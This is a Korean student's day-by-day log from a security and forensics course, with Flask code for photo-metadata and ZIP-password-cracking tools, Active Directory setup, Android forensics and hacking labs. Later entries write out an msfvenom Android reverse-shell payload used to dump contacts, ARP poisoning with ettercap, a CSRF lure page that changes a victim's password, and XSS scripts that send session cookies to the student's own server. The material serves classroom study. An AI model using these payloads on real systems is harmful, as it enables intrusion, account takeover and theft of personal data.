gps_info.get('GPSLatitude') lat_ref = gps_info.get('GPSLatitudeRef') lon = gps_info.get('GPSLongitude') lon_ref = gps_info.get('GPSLongitudeRef') if not lat or not lon: return None lat_deg = lat[0] + lat[1]/60 + lat[2]/3600 if lat_ref == 'S': lat_deg = -lat_deg lon_deg = lon[0] + lon[1]/60 + lon[2]/3600 if lon_ref == 'W': lon_deg = -lon_deg return {'latitude': round(lat_deg, 6), 'longitude': round(lon_deg, 6)} except Exception as e: print("--- GPS CONVERT ERROR ---", e) return None # 2. 라우트 함수 (GET과 POST 모두 처리) @bp.route('/picture', methods=['GET', 'POST']) def index(): print("=== /forensic/picture 진입 성공 (Method:", request.method, ") ===") sys.stdout.flush() if request.method == 'POST': if 'image' not in request.files: print("=== 에러: 파일 키가 없음 ===") sys.stdout.flush() return render_template('forensic/picture.html', error="파일이 없습니다.") file = request.files['image'] if file.filename == '': print("=== 에러: 파일 이름이 없음 ===") sys.stdout.flush() return render_template('forensic/picture.html', error="선택된 파일이 없습니다.") if file: upload_path = 'temp_image.jpg' file.save(upload_path) print("=== 파일 임시 저장 완료:", upload_path) sys.stdout.flush() # 메타데이터 및 GPS 추출 metadata, raw_gps = get_image_metadata(upload_path) print("--- RAW GPS DATA ---", raw_gps) sys.stdout.flush() gps_info = convert_gps_to_decimal(raw_gps) print("--- CONVERTED GPS INFO ---", gps_info) sys.stdout.flush() if os.path.exists(upload_path): os.remove(upload_path) return render_template('forensic/picture.html', metadata=metadata, gps_info=gps_info) return render_template('forensic/picture.html')
다음은 파일 압축 해제하는 페이지를 추가해주자
templates/forensic/zip.html{% extends 'base.html' %} {% block content %} <div class="container-fluid px-4 py-4"> <!-- 페이지 제목 --> <h2 class="mb-4">🔑 압축 암호 해제 및 포렌식</h2> <p class="text-muted">암호화된 ZIP 파일과 비밀번호 후보 목록(txt)을 업로드하여 암호를 크랙하고 압축을 해제하세요.</p> <div class="row"> <!-- 업로드 폼 영역 --> <div class="col-lg-5 mb-4"> <div class="card shadow-sm"> <div class="card-header bg-primary text-white"> <h5 class="mb-0">ZIP 파일 및 암호 목록 업로드</h5> </div> <div class="card-body"> <form action="/forensic/zip" method="POST" enctype="multipart/form-data"> <!-- 1. ZIP 파일 업로드 --> <div class="mb-3"> <label for="zipFile" class="form-label fw-bold">대상 ZIP 파일 (.zip)</label> <input class="form-control" type="file" id="zipFile" name="zip_file" accept=".zip" required> </div> <!-- 2. 암호 목록(Wordlist) 텍스트 파일 업로드 --> <div class="mb-3"> <label for="wordlistFile" class="form-label fw-bold">암호 목록 파일 (.txt)</label> <input class="form-control" type="file" id="wordlistFile" name="wordlist_file" accept=".txt" required> <div class="form-text">한 줄에 하나씩 비밀번호가 적힌 텍스트 파일을 선택하세요.</div> </div> <button type="submit" class="btn btn-success w-100 mt-2">🚀 암호 해제 및 압축 풀기</button> </form> </div> </div> </div> <!-- 결과 출력 영역 --> <div class="col-lg-7"> <div class="card shadow-sm mb-4"> <div class="card-header bg-dark text-white"> <h5 class="mb-0">해제 결과 및 파일 목록</h5> </div> <div class="card-body"> {% if error %} <!-- 에러 발생 시 --> <div class="alert alert-danger" role="alert"> <h6 class="alert-heading fw-bold">❌ 오류 발생</h6> <p class="mb-0">{{ error }}</p> </div> {% elif success %} <!-- 성공 시 --> <div class="alert alert-success" role="alert"> <h6 class="alert-heading fw-bold">🎉 암호 해제 성공!</h6> <p class="mb-0">찾은 비밀번호: <strong>{{ found_password }}</strong></p> </div> <div class="card border-success mt-3"> <div class="card-header bg-success text-white">압축 해제된 파일 목록</div> <div class="card-body"> <ul class="list-group list-group-flush"> {% for file in extracted_files %} <li class="list-group-item">📁 {{ file }}</li> {% endfor %} </ul> </div> </div> {% elif failure %} <!-- 실패 시 --> <div class="alert alert-warning" role="alert"> <h6 class="alert-heading fw-bold">⚠️ 해제 실패</h6> <p class="mb-0">제출한 암호 목록 중에서 일치하는 비밀번호를 찾지 못했습니다.</p> </div> {% else %} <!-- 초기 안내 화면 --> <div class="text-center py-5 text-muted"> <p>아직 실행된 작업이 없습니다.<br>ZIP 파일과 단어장 파일을 업로드하고 버튼을 눌러주세요.</p> </div> {% endif %} </div> </div> </div> </div> </div> {% endblock %}
서버에서 pip install pyzipper
views/forensic.py에 함수 추가# 2. 라우트 함수 (GET과 POST 모두 처리) @bp.route('/picture', methods=['GET', 'POST']) def index(): print("=== /forensic/picture 진입 성공 (Method:", request.method, ") ===") sys.stdout.flush() if request.method == 'POST': if 'image' not in request.files: print("=== 에러: 파일 키가 없음 ===") sys.stdout.flush() return render_template('forensic/picture.html', error="파일이 없습니다.") file = request.files['image'] if file.filename == '': print("=== 에러: 파일 이름이 없음 ===") sys.stdout.flush() return render_template('forensic/picture.html', error="선택된 파일이 없습니다.") if file: upload_path = 'temp_image.jpg' file.save(upload_path) print("=== 파일 임시 저장 완료:", upload_path) sys.stdout.flush() # 메타데이터 및 GPS 추출 metadata, raw_gps = get_image_metadata(upload_path) print("--- RAW GPS DATA ---", raw_gps) sys.stdout.flush() gps_info = convert_gps_to_decimal(raw_gps) print("--- CONVERTED GPS INFO ---", gps_info) sys.stdout.flush() if os.path.exists(upload_path): os.remove(upload_path) return render_template('forensic/picture.html', metadata=metadata, gps_info=gps_info) return render_template('forensic/picture.html') # ZIP 파일 압축 해제 및 크래킹을 수행하는 헬퍼 함수 def process_zip_crack(zip_path, wordlist_path): try: with pyzipper.AESZipFile(zip_path, 'r') as zf: with open(wordlist_path, 'r', encoding='utf-8', errors='ignore') as wf: passwords = wf.readlines() found_password = None extracted_files = [] for password in passwords: password = password.strip() if not password or password.startswith('#'): continue try: zf.setpassword(password.encode('utf-8')) # 첫 번째 파일로 암호 검증 if zf.namelist(): first_file = zf.namelist()[0] zf.read(first_file) found_password = password break except Exception: continue if found_password: # 임시로 압축이 해제될 폴더 생성 (서버 내 temp 폴더 등 활용) output_dir = os.path.join('monitor', 'static', 'extracted') if not os.path.exists(output_dir): os.makedirs(output_dir) # 파일 이름으로 된 하위 폴더 생성 base_name = os.path.splitext(os.path.basename(zip_path))[0] target_extract_dir = os.path.join(output_dir, base_name) if not os.path.exists(target_extract_dir): os.makedirs(target_extract_dir) # 압축 해제 zf.extractall(path=target_extract_dir, pwd=found_password.encode('utf-8')) extracted_files = zf.namelist() return { "success": True, "found_password": found_password, "extracted_files": extracted_files } else: return {"failure": True} except Exception as e: return {"error": str(e)} # 3. ZIP 해제 라우트 함수 추가 @bp.route('/zip', methods=['GET', 'POST']) def zip_cracker(): if request.method == 'POST': # 1. 파일 업로드 확인 if 'zip_file' not in request.files or 'wordlist_file' not in request.files: return render_template('forensic/zip.html', error="ZIP 파일 또는 단어장 파일이 누락되었습니다.") zip_file = request.files['zip_file'] wordlist_file = request.files['wordlist_file'] if zip_file.filename == '' or wordlist_file.filename == '': return render_template('forensic/zip.html', error="선택된 파일이 없습니다.") # 2. 임시 파일로 저장 zip_path = os.path.join('temp_target.zip') wordlist_path = os.path.join('temp_wordlist.txt') zip_file.save(zip_path) wordlist_file.save(wordlist_path) # 3. 크랙 및 해제 함수 실행 result = process_zip_crack(zip_path, wordlist_path) # 4. 임시 파일 삭제 (정리) if os.path.exists(zip_path): os.remove(zip_path) if os.path.exists(wordlist_path): os.remove(wordlist_path) # 5. 결과에 따라 템플릿 렌더링 if "error" in result: return render_template('forensic/zip.html', error=result["error"]) elif result.get("success"): return render_template('forensic/zip.html', success=True, found_password=result["found_password"], extracted_files=result["extracted_files"]) else: return render_template('forensic/zip.html', failure=True) return render_template('forensic/zip.html')
또 뭐 추가해야했더라
압축 암호 해독
zip
사진 분석
picture
파일 시그니처
signature
레지스트리 분석
registry
이벤트 분석
event
로그 분석
log
Winserver에서 ADDS 설치
Ntuser.dat
index.dat
해킹당한 흔적이 있다!
누가?
언제?
어떻게?
윈도우 10을 해킹을 했는지?
zip파일에 있는 파일로 분석하기
AI사용해서 분석
시나리오
1학기때 학생 전용 서버를 virtualbox를 통해 관리
원격 데스크탑 RDP 3389
master / 123456
접근제어 없음
먼저 가상머신 2개 ip 확인
win2026의 ip,hostname 변경
ADDS를 설치하면 DNS가 자동으로 설치가 됨
ADDS와 DNS를 설치
오늘 한 일
개인서버에 python을 이용해 포렌식 tools 만들기
ADDS 기본 설치
내일 할 일
2026-07-31
Winserver를 이용한 ADDS 설정
›
Winserver ADDS 설정하기
작업그룹,도메인
workgroup
jeonjucom.kr
192.168.56.103
시스템 > 고급 > 이름을 앉은자리 번호(IP015)
계정관리
로컬계정 (master / 123456)
도메인계정
ADDS설정
Add a new forest
jeonjucom.kr
next >
패스워드 입력
next >
next >
next >
next >
next >
next >
ADDS 설정에서 계정 만들어주기
jeonjucom.kr > new > organation
Santk
Santk > new > users
사용자 정보 입력
클라이언트에서 설정
DNS = 서버 주소(192.168.56.103)
시스템 > 고급 사용자 머시기 변경 > 도메인 사용 > jeonjucom.kr
administrator / p@ssw0rd!@123
자동 재부팅
기타 사용자 > 서버에서 추가해준 사용자 정보 입력
연습용 nameserver : 192.168.0.100
중앙서버에서 사용자 차단이 가능하다!
컴퓨터 이름으로 차단하든 사용자로 차단하든
접속하면 중앙서버에 있는 이벤트 뷰어에 로그가 남는다
누가 언제 접속했고 언제 나갔는지 확인 가능
lynis (Security Audit Tool)
sudo apt -y install lynis
lynis audit system
오늘 한 일
ADDS 설정하기
내일 할 일
2026-08-03
INBOX를 이용한 메일 분석 및 .evtx파일로 이벤트 확인
›
INBOX를 이용한 메일 분석
윈도우에서 AD를 이용한 접속
윈도우서버 침해사고 발생시
>레지스트리
>이벤트로그
>prefetch
master@mail.jeonjucom.kr
메일서버의 로그
관리자 PC의 메일
이벤트로그
레지스트리 로그
를 공유폴더에 공유
악성코드 보내기
thunder bird를 설치해보자
다운을 받고 exe파일을 실행해 보면?
권한이 없어서 권한있는 사용자의 이름과 암호를 요구한다
Administrator
p@ssw0rd!@123
P@ssw0rd!@123
누가
AD 계정사용자가
언제
접속 시간 분석
무엇을
이메일을
어떻게
공유폴더에서
미션! 로그를 통해서 메일 분석하기
porensic.jvision.org
메일 헤더에서 출발지 IP위치 파악
INBOX를 분석하는 프로그램을 만들고 개인서버(20)에 추가하기
이벤트 확인
Application.evtx
Sercurty.evtx
System.evtx
IP관리대장은 있는가?
IP관리대장이 없다면 무엇으로 IP를 관리하는가?
설치날짜 확인
레지스트리 편집기
컴퓨터\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
Install date : 69a6b6d7
2026년 3월 3일 밤 21:45:11
registry분석기 만들기
SAM,SOFTWARE,SYSTEM,SECURITY,NTUSER.DAT
오늘 한 일
INBOX를 이용한 메일 분석
.evtx 파일로 이벤트 확인
내일 할 일
2026-08-04
시나리오 확인 및 파일 분석
›
시나리오
■ 가상 분석 시나리오
박경력 분석관은 디지털 포렌식 분석 경력 5년 차다. 그는 이을남 팀장으로부터 어느 민제 사건에 대한 분석을 배당받았다.
그가 처리해야 할 사건은 영업 비밀과 기술 유출에 관한 것으로, 2020.9.14경부터 같은 해 11.2경까지 '(주)투스타커피'라는 회사에서 재무팀장으로 일하였던 '홍길동'이라는 혐의자가 경쟁회사인 '(주)커피천사'로 이직하면서 '(주)투스타커피'의 로스팅(Roasting) 관련 핵심 기술이 담긴 기밀문서를 빼돌린 정황이 있었다는 내용이었다.
이에 '(주)투스타커피'의 대표이사인 '이몽룡'이 위와 같은 정황을 확인한 후, '홍길동'이 사용하였던 업무용 노트북에 대한 디지털 포렌식 조사를 의뢰하였다.
'홍길동'은 2020.11.2경 퇴사를 하면서 자신이 사용하였던 노트북을 위 회사 측(투스타커피)에 반납하였고, 회사 측에서는 해당 노트북에 즉시 윈도우 10 운영체제를 새로이 설치하였다.
위 노트북은 그 이후 직원들에게 지급되지 아니한 상태에서 디지털 포렌식 분석이 이루어질 때까지 회사 창고에 보관 중이었다.
'홍길동'이 퇴사하고 약 3개월이 지났을 무렵, '홍길동'이 옮겨 간 '(주)커피천사'에서는 '(주)투스타커피'의 로스팅 기술과 같은 기술을 이용하여 커피 프랜차이즈 업계에 돌풍을 일으키게 되었고, 이에 '(주)투스타커피' 측에서는 '홍길동'이 '(주)커피천사'로 이직하면서 자사의 로스팅 기술에 관한 문건을 유출한 것으로 의심하고 디지털 포렌식 분석을 의뢰하였다.
분석결과
컴퓨터의 일반적 사용 현황에 관한 분석
1. 윈도우 운영체제의 재설치 사실 확인
2.과거의 데이터 흔적과 복원의 필요성
3.과거 시스템의 윈도우 레지스트리 복원 및 삭제된 파티션 복원
4.과거 시스템에서의 윈도우 운영체제의 설치에 관한 기본 정보
5.과거 시스템의 주된 사용자에 관한 분석
6.과거 시스템에 연결된 외부 장치에 관한 분석
7.과거 시스템에 설치된 주요 응용프로그램
8.네트워크 연결 정보에 관한 분석
9.가상 볼륨의 발견과 별도 이미징 처리
10.프린터 등 주변기기의 사용 흔적
11.인터넷 사용의 흔적
12.이메일 사용의 흔적
13.윈도우 바로가기파일(.lnk) 분석을 통한 사용자 활동 조사
14.시간 정보의 정확성 분석
혐의 내용에 관한 분석
1. 사내 기밀정보 절취에 관한 사항
2.사내 기밀정보 유출에 관한 사항
3.허위 재직증명서 작성에 관한 사항
4.출장서류 조작 등에 관한 사항
분석결과종합
데이터절취에 관한 사항
사내 기밀 정보의 유출에 관한 사항
사문서 위조에 관한 사항
출장 보고서 조작에 관한 흔적
Openstego
TrueCrypt
의심이 된다, 냄새가 난다
오늘 한 일
시나리오를 통한 포렌식 실습
내일 할 일
2026-08-05
보고서 작성 및 안드로이드 분석
›
분석 보고서 작성
분석 보고서 작성하기
시나리오를 기반으로 웹 한켠에 보고서 작성
안드로이드 포렌식
안드로이드 포렌식을 해보자!
backup/st6/6.안드로이드에서 파일 받아오기
PC에 아나콘다 설치
아나콘다 프롬포트 실행
d:
cd AndroLabServer
conda create -n py2 python=2.7
conda activate py2
python app.py
Traceback (most recent call last):
File "app.py", line 2, in <module>
import web
ImportError: No module named web
type requirements.txt
pip install -r requirements.txt
python app.py
https://sqlitebrowser.org/dl/ 사이트로 이동
DB Browser for SQLite - Standard installer for 64-bit Windows 설치
중간 체크박스 전부 체크
DB browser (SQLite) 실행
데이터베이스 열기
안드로이드 폴더에 있는 mydb.db 열기
테이블을 확인해보니 user에 계정이 2개 있더라
username password first_name last_name
dinesh Dinesh@123$ dinesh shetty
jack Jack@123$ jack apples
nox 플레이어 실행
InsecureBankv2.apk 끌어다 놓으면 설치가 된다
DB에서 확인한 ID와 PASS를 입력해주면
접속이 되지 않는다!
Prefernce에서 IP를 본인 PC로 바꿔주면?
접속이 된다!
로그인이 눌리지 않는다면?
그냥 전부다 다시 실행하기!
미션!
InsecureBankv2 앱에서 뭐라도 얻어오기!
오늘 한 일
시나리오를 분석한 보고서 작성하기
안드로이드 앱 분석하기
내일 할 일
2026-08-06
제목 양식
›
내용
Android 안으로 들어가 보자 platform-tools를 원격 디렉토리에서 받아오기 nox와 anaconda promfort실행 nox에 다운받은 은행앱 실행 후 로그인 cmd창 켜기 d:\platform-tools로 이동 adb devices 아무것도 보이지 않는다 netstat -ant | findstr 62 > TCP 127.0.0.1:62001 0.0.0.0:0 LISTENING InHost nox가 62001번을 사용하고 있다 장치는 보이지 않지만 있으니까 접속하면 된다 어떻게? 62001번 포트를 이용해서 adb connect 127.0.0.1:62001 adb devices > List of devices attached > 127.0.0.1:62001 device adb shell 을 입력해주면 접속이 된다 ls를 입력해주면? 파일 목록들이 보인다 Android와 Linux의 차이점을 확인해보자 Android Linux acct bin bin bin.usr-is-merged boot bugreports cache cdrom charger config d data default.prop dev dev etc etc fstab.x86 home init init.environ.rc init.rc init.superuser.rc init.usb.configfs.rc init.usb.rc init.x86.rc init.zygote32.rc init.zygote64_32.rc lib lib lib64 lib.usr-is-merged lost+found media mnt mnt odm oem opt plat_file_contexts plat_hwservice_contexts plat_property_contexts plat_seapp_contexts plat_service_contexts proc proc product root root run sbin sbin sbin.usr-is-merged sdcard sepolicy snap srv storage swap.img sys sys system tmp ueventd.rc ueventd.x86.rc usr var vendor vendor_file_contexts vendor_hwservice_contexts vendor_property_contexts vendor_seapp_contexts vendor_service_contexts vndservice_contexts 안드로이드 기본 명령어 시스템 정보확인 getprop # 모든 시스템 속성 getprop ro.product.model # 모델명 getprop ro.build.version.release getprop ro.serialno uname -a # 커널 정보 cat /proc/version cat /proc/cpuinfo cat /proc/meminfo df -h # 디스크 사용량 free -h # 메모리 사용량 mount # 마운트 정보 파일 및 디렉토리 pwd ls ls -al cd mkdir rmdir cp mv rm touch find stat du -sh find /sdcard -name "*.jpg" 사용자 및 권한 whoami id groups su chmod chown pidof com.android.chrome 6. 패키지(Package Manager) pm list packages pm list packages -s pm list packages -3 pm path com.kakao.talk dumpsys package com.kakao.talk adb install app.apk pm uninstall 패키지명 7. Activity Manager(am) am start -n 패키지/액티비티 am start -n com.android.settings/.Settings am force-stop com.kakao.talk am broadcast 8.Service Manager service list service call 10.로그확인 logcat logcat -v time logcat ActivityManager:I *:S adb logcat > log.txt 11. 파일 전송 adb push file.txt /sdcard/ adb pull /sdcard/test.jpg 포렌식에서 자주 보는 위치 ls /data/data ls /data/app ls /sdcard ls /storage/emulated/0 ls /data/system 자주 사용하는 포렌식 명령 pm list packages pm path com.kakao.talk ls /data/data ls /sdcard find /sdcard -name "*.db" find /sdcard -name "*.jpg" getprop dumpsys battery dumpsys package logcat -d ps -A netstat mount df -h cat /proc/version cat /proc/cpuinfo whoami > root uname -a > Linux localhost 4.19.110 #10 SMP PREEMPT Tue Jul 30 20:08:11 CST 2024 x86_64 cd /data/local/tmp getprop ro.product.model > SM-S9210 pm list packages 안드로이드에 악성 프로그램을 만들어서 정보를 빼내보자 kali 네트워크는 NAT, 포트포워딩은 4444 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.205 LPORT=4444 -o payload.apk 프로그램을 만들었으면 들을 준비를 하자 msfconsole use exploit/multi/handler set payload android/meterpreter/reverse_tcp set LHOST 192.168.0.205 set LPORT 4444 run nox플레이어에서 payload설치 권한을 허용해주면? kali에서 세션이 open된것을 확인할 수 있다 연락처를 빼내보자 dump_contacts > [*] Fetching 2 contacts into list > [*] Contacts list saved to: contacts_dump_20260806020200.txt contacts_dump_20260806020200.txt 파일이 생성된다 txt 파일을 확인해보면? 연락처가 그대로 들어있다 load appapi app_list 설치된 app들 목록이 보인다
오늘 한 일
내일 할 일
2026-08-07
제목 양식
›
내용
뱅킹앱의 취약점 앱 : java ---- 계좌이체(http) ---- 서버 : 파이썬(Flask) 1. 네트워크 확인 2. wireshark를 통한 패킷 분석 3. proxy를 통한 데이터 조작 wireshark에서 loopback traffic capture trancfer로 돈을 송금해보면? wireshark에 http 패킷이 움직이는게 보인다 패킷의 정보를 확인해보면? > Form item: "username" = "dinesh" > Form item: "password" = "P@ssw0rd!@123" > Form item: "from_acc" = "888888888" > Form item: "to_acc" = "666666666" > Form item: "amount" = "10000" 아닛 모든 정보가 표시된다 Nox를 설치하니까 D:\Program Files\Nox\bin\BignoxVMS\Nox_1 경로에 .vbox가 있다?! 공격자는 스니핑/스푸핑을 활용하여 사용자들의 입력값을 변경할 수 있다 ping 192.168.0.1 arp -a > 192.168.0.1 70-5d-cc-00-1a-77 동적 GNS에서 환경을 구성해보자 R1 conf t int fa 0/0 ip address 192.168.0.254 255.255.255.0 no shut exit int se 1/0 ip addr 1.1.1.1 255.255.255.252 no shutdown end conf t router ospf 1 router-id 1.1.1.1 network 192.168.0.0 0.0.0.255 area 0 network 1.1.1.0 0.0.0.3 area 0 R2 conf t int fa 0/0 ip address 172.16.0.254 255.255.255.0 no shut exit int se 1/1 ip addr 1.1.1.2 255.255.255.252 no shutdown end conf t router ospf 1 router-id 2.2.2.2 network 172.16.0.0 0.0.0.255 area 0 network 1.1.1.0 0.0.0.3 area 0 kali에서 11-collection > ettercap 실행 먼저 scan for host hosts list 해주면 스캔된 host들의 목록이 보인다 target1 = gateway target2 = victim 지구모양 클릭 ARP poisoning 스푸핑 당하기전에는 C:\Users\master>arp -a 인터페이스: 192.168.0.105 --- 0xd 인터넷 주소 물리적 주소 유형 192.168.0.254 ca-01-06-dc-00-00 동적 254의 MAC이 ca-01-06-dc-00-00로 되어있엇는데 ARP poisoning을 해주면 C:\Users\master>arp -a 인터페이스: 192.168.0.105 --- 0xd 인터넷 주소 물리적 주소 유형 192.168.0.254 08-00-27-8a-35-d2 동적 Kali의 MAC주소로 바뀌어져 있다 만약 웹이 http로 되어 있으면? 정보를 모두 해커가 낚아챌 수 있다! https는 괜찮음! https 적용해보기
오늘 한 일
내일 할 일
2026-08-08
제목 양식
›
내용
미션1
서버점검표 제작
/server
/server/check
점검서버,용량,계정,프로세스,날짜
미션2
/auth/mypage
암호변경 페이지 만들기
CSRF
패스워드를 미리 정해두고 실습에 들어가자
나의 경우 password5
원레는 로그인을 한 상태에서 password를 변경해 줘야 하지만
소스코드를 확인해보니
사용자 이름과 패스워드를 넘겨주면 그걸 받아서 업데이트를 시켜준다
이 소스코드의 취약점은?
외부에서 경로를 알고 명령만 주면 바로 바꿔버릴 수 있다.
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>이벤트 당첨 확인</title>
</head>
<body>
<h2>축하합니다! 무료 경품에 당첨되셨습니다.</h2>
<p>경품을 수령하려면 아래 버튼을 클릭하세요!</p>
<a href="http://victim.kr/vulnerabilities/csrf/?password_new=password5&password_conf=password5&Change=Change">
👉 [무료 상품 받기 클릭] 👈
</a>
</body>
</html>
이렇게 해주면 사용자가 페이지에 접속해서 버튼을 클릭한 순간
원하지 않게 암호가 바뀌게 된다
로그인이 된 상태에서 공격이 가능하다
세션이란 무엇인가?
스니핑
스푸핑
http://virtual.izerone.co.kr:8203/nayamall/
모의 해킹 사이트로 이동
step1 글 쓰기
step2 경고창 작동
<script>alert('^^');</script>
step3
페이지 이동
<script>location.href='http://naver.com';</script>
step4
본인 페이지로 이동
<script>location.href='http://192.168.0.205?cookie='+document.cookie;</script>
step5
전송된 document.cookie를 저장하는 파이썬 프로그램 만들기
stop6
서버쪽으로 값을 전송하면 admin/
http://virtual.izerone.co.kr:8203/nayamall/paran_v10/view.php?id=qna&no=145&page=1&cate=&keyword=&keykind=
http://virtual.izerone.co.kr:8203/nayamall/paran_v10/delete.php?id=qna&mode=delete&no=164&page=1&cate=&keyword=&keykind=
http://virtual.izerone.co.kr:8203/nayamall/paran_v10/delete_ok.php
혹시 몰라서 미리 알고가는 글 삭제 방법
Burp suite
next > start burp > proxy > open browser
burp browser 안에서
http://virtual.izerone.co.kr:8203/nayamall/
실행
intercept on을 눌러주면 사이트로 보내는 요청이 한 번 멈췄다 간다
http://virtual.izerone.co.kr:8203/nayamall/paran_v10/delete_ok.php?id=qna&mode=delete&no=174&page=1&cate=&keyword=&keykind=
<script>var p=new URLSearchParams(location.search),n=p.get('no');location.href='http://192.168.0.20:5000/cookie/?cookie='+document.cookie+'&no='+n;</script>
<script>var p=new URLSearchParams(location.search),n=p.get('no')||'',c=encodeURIComponent(document.cookie);location.href='http://192.168.0.20/catch?cookie='+c+'&no='+encodeURIComponent(n);</script>
http://192.168.0.20:5000/cookie/?cookie=PessionID=587aa6cb9a6854018166fe042bb9bdd0&no=278
http://192.168.0.20:5000/?cookie=PessionID=587aa6cb9a6854018166fe042bb9bdd0&no=276
app.py를 콘솔에서 한번 다시 실행시켜 줄 것
오늘 한 일
내일 할 일
2026-08-10
제목 양식
›
내용
내용을 입력해주세요
오늘 한 일
내일 할 일